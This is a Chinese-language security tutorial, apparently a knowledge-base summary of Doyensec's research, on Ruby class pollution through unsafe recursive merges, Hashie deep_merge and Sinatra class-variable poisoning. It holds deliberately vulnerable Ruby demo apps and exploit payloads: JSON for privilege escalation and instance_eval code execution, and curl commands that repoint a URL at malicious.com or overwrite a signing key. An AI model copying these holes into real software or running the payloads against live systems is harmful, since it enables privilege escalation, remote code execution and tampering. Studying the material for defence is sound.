Ruby Class Pollution

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本节为文章 https://blog.doyensec.com/2024/10/02/class-pollution-ruby.html 的摘要。

在属性上合并

示例:

# Code from https://blog.doyensec.com/2024/10/02/class-pollution-ruby.html
# Comments added to exploit the merge on attributes
require 'json'


# Base class for both Admin and Regular users
class Person

attr_accessor :name, :age, :details

def initialize(name:, age:, details:)
@name = name
@age = age
@details = details
end

# Method to merge additional data into the object
def merge_with(additional)
recursive_merge(self, additional)
end

# Authorize based on the `to_s` method result
def authorize
if to_s == "Admin"
puts "Access granted: #{@name} is an admin."
else
puts "Access denied: #{@name} is not an admin."
end
end

# Health check that executes all protected methods using `instance_eval`
def health_check
protected_methods().each do |method|
instance_eval(method.to_s)
end
end

private

# VULNERABLE FUNCTION that can be abused to merge attributes
def recursive_merge(original, additional, current_obj = original)
additional.each do |key, value|

if value.is_a?(Hash)
if current_obj.respond_to?(key)
next_obj = current_obj.public_send(key)
recursive_merge(original, value, next_obj)
else
new_object = Object.new
current_obj.instance_variable_set("@#{key}", new_object)
current_obj.singleton_class.attr_accessor key
end
else
current_obj.instance_variable_set("@#{key}", value)
current_obj.singleton_class.attr_accessor key
end
end
original
end

protected

def check_cpu
puts "CPU check passed."
end

def check_memory
puts "Memory check passed."
end
end

# Admin class inherits from Person
class Admin < Person
def initialize(name:, age:, details:)
super(name: name, age: age, details: details)
end

def to_s
"Admin"
end
end

# Regular user class inherits from Person
class User < Person
def initialize(name:, age:, details:)
super(name: name, age: age, details: details)
end

def to_s
"User"
end
end

class JSONMergerApp
def self.run(json_input)
additional_object = JSON.parse(json_input)

# Instantiate a regular user
user = User.new(
name: "John Doe",
age: 30,
details: {
"occupation" => "Engineer",
"location" => {
"city" => "Madrid",
"country" => "Spain"
}
}
)


# Perform a recursive merge, which could override methods
user.merge_with(additional_object)

# Authorize the user (privilege escalation vulnerability)
# ruby class_pollution.rb '{"to_s":"Admin","name":"Jane Doe","details":{"location":{"city":"Barcelona"}}}'
user.authorize

# Execute health check (RCE vulnerability)
# ruby class_pollution.rb '{"protected_methods":["puts 1"],"name":"Jane Doe","details":{"location":{"city":"Barcelona"}}}'
user.health_check

end
end

if ARGV.length != 1
puts "Usage: ruby class_pollution.rb 'JSON_STRING'"
exit
end

json_input = ARGV[0]
JSONMergerApp.run(json_input)

解释

  1. Privilege Escalation: authorize 方法会检查 to_s 是否返回 “Admin.”。通过在 JSON 中注入一个新的 to_s 属性,攻击者可以使 to_s 方法返回 “Admin,”,从而获得未授权的权限。
  2. Remote Code Execution: 在 health_check 中,instance_eval 会执行列在 protected_methods 中的方法。如果攻击者注入自定义的方法名(例如 “puts 1”),instance_eval 会执行它,从而导致 remote code execution (RCE)
  3. 这之所以可能,是因为存在一个 脆弱的 eval 指令,它会执行该属性的字符串值。
  4. 影响范围限制: 此漏洞仅影响单独的实例,其他 UserAdmin 实例不受影响,从而限制了利用的范围。

真实案例

ActiveSupport’s deep_merge

默认情况下它不是易受攻击的,但可以通过类似如下方法使其变得易受攻击:

# Method to merge additional data into the object using ActiveSupport deep_merge
def merge_with(other_object)
merged_hash = to_h.deep_merge(other_object)

merged_hash.each do |key, value|
self.class.attr_accessor key
instance_variable_set("@#{key}", value)
end

self
end

Hashie’s deep_merge

Hashie 的 deep_merge 方法直接对对象属性进行操作,而不是普通的 hashes。它在合并时阻止方法被属性替换,但有一些例外:以 _!? 结尾的属性仍然可以被合并到对象中。

一个特殊情况是单独的属性 _。单独的 _ 通常是一个返回 Mash 对象的属性。由于它属于这些例外之一,因此可以对其进行修改。

查看下面的示例,如何通过传递 {"_": "Admin"} 来绕过 _.to_s == "Admin"

require 'json'
require 'hashie'

# Base class for both Admin and Regular users
class Person < Hashie::Mash

# Method to merge additional data into the object using hashie
def merge_with(other_object)
deep_merge!(other_object)
self
end

# Authorize based on to_s
def authorize
if _.to_s == "Admin"
puts "Access granted: #{@name} is an admin."
else
puts "Access denied: #{@name} is not an admin."
end
end

end

# Admin class inherits from Person
class Admin < Person
def to_s
"Admin"
end
end

# Regular user class inherits from Person
class User < Person
def to_s
"User"
end
end

class JSONMergerApp
def self.run(json_input)
additional_object = JSON.parse(json_input)

# Instantiate a regular user
user = User.new({
name: "John Doe",
age: 30,
details: {
"occupation" => "Engineer",
"location" => {
"city" => "Madrid",
"country" => "Spain"
}
}
})

# Perform a deep merge, which could override methods
user.merge_with(additional_object)

# Authorize the user (privilege escalation vulnerability)
# Exploit: If we pass {"_": "Admin"} in the JSON, the user will be treated as an admin.
# Example usage: ruby hashie.rb '{"_": "Admin", "name":"Jane Doe","details":{"location":{"city":"Barcelona"}}}'
user.authorize
end
end

if ARGV.length != 1
puts "Usage: ruby hashie.rb 'JSON_STRING'"
exit
end

json_input = ARGV[0]
JSONMergerApp.run(json_input)

Hashie deep_merge mutation regression (2025): 在 Hashie 5.0.0 中,Hashie::Extensions::DeepMerge#deep_merge 直接修改了接收器上的嵌套子哈希,而不是复制它们。将攻击者控制的数据合并到长期存在的对象中可能会使更改在请求之间持续生效,从而污染先前“安全”的实例。该行为在 5.0.1 中得到修正。

污染类

在下面的示例中,可以找到类 Person,以及继承自 Person 的类 AdminRegular。它还有另一个名为 KeySigner 的类:

require 'json'
require 'sinatra/base'
require 'net/http'

# Base class for both Admin and Regular users
class Person
@@url = "http://default-url.com"

attr_accessor :name, :age, :details

def initialize(name:, age:, details:)
@name = name
@age = age
@details = details
end

def self.url
@@url
end

# Method to merge additional data into the object
def merge_with(additional)
recursive_merge(self, additional)
end

private

# Recursive merge to modify instance variables
def recursive_merge(original, additional, current_obj = original)
additional.each do |key, value|
if value.is_a?(Hash)
if current_obj.respond_to?(key)
next_obj = current_obj.public_send(key)
recursive_merge(original, value, next_obj)
else
new_object = Object.new
current_obj.instance_variable_set("@#{key}", new_object)
current_obj.singleton_class.attr_accessor key
end
else
current_obj.instance_variable_set("@#{key}", value)
current_obj.singleton_class.attr_accessor key
end
end
original
end
end

class User < Person
def initialize(name:, age:, details:)
super(name: name, age: age, details: details)
end
end

# A class created to simulate signing with a key, to be infected with the third gadget
class KeySigner
@@signing_key = "default-signing-key"

def self.signing_key
@@signing_key
end

def sign(signing_key, data)
"#{data}-signed-with-#{signing_key}"
end
end

class JSONMergerApp < Sinatra::Base
# POST /merge - Infects class variables using JSON input
post '/merge' do
content_type :json
json_input = JSON.parse(request.body.read)

user = User.new(
name: "John Doe",
age: 30,
details: {
"occupation" => "Engineer",
"location" => {
"city" => "Madrid",
"country" => "Spain"
}
}
)

user.merge_with(json_input)

{ status: 'merged' }.to_json
end

# GET /launch-curl-command - Activates the first gadget
get '/launch-curl-command' do
content_type :json

# This gadget makes an HTTP request to the URL stored in the User class
if Person.respond_to?(:url)
url = Person.url
response = Net::HTTP.get_response(URI(url))
{ status: 'HTTP request made', url: url, response_body: response.body }.to_json
else
{ status: 'Failed to access URL variable' }.to_json
end
end

# Curl command to infect User class URL:
# curl -X POST -H "Content-Type: application/json" -d '{"class":{"superclass":{"url":"http://example.com"}}}' http://localhost:4567/merge

# GET /sign_with_subclass_key - Signs data using the signing key stored in KeySigner
get '/sign_with_subclass_key' do
content_type :json

# This gadget signs data using the signing key stored in KeySigner class
signer = KeySigner.new
signed_data = signer.sign(KeySigner.signing_key, "data-to-sign")

{ status: 'Data signed', signing_key: KeySigner.signing_key, signed_data: signed_data }.to_json
end

# Curl command to infect KeySigner signing key (run in a loop until successful):
# for i in {1..1000}; do curl -X POST -H "Content-Type: application/json" -d '{"class":{"superclass":{"superclass":{"subclasses":{"sample":{"signing_key":"injected-signing-key"}}}}}}' http://localhost:4567/merge; done

# GET /check-infected-vars - Check if all variables have been infected
get '/check-infected-vars' do
content_type :json

{
user_url: Person.url,
signing_key: KeySigner.signing_key
}.to_json
end

run! if app_file == $0
end

Poison Parent Class

使用此 payload:

curl -X POST -H "Content-Type: application/json" -d '{"class":{"superclass":{"url":"http://malicious.com"}}}' http://localhost:4567/merge

可以修改父类 Person@@url 属性的值。

Poisoning Other Classes

使用以下 payload:

for i in {1..1000}; do curl -X POST -H "Content-Type: application/json" -d '{"class":{"superclass":{"superclass":{"subclasses":{"sample":{"signing_key":"injected-signing-key"}}}}}}' http://localhost:4567/merge --silent > /dev/null; done

可以对已定义的 classes 进行 brute-force,并在某一点 poison the class KeySigner,将 signing_key 的值修改为 injected-signing-key

参考

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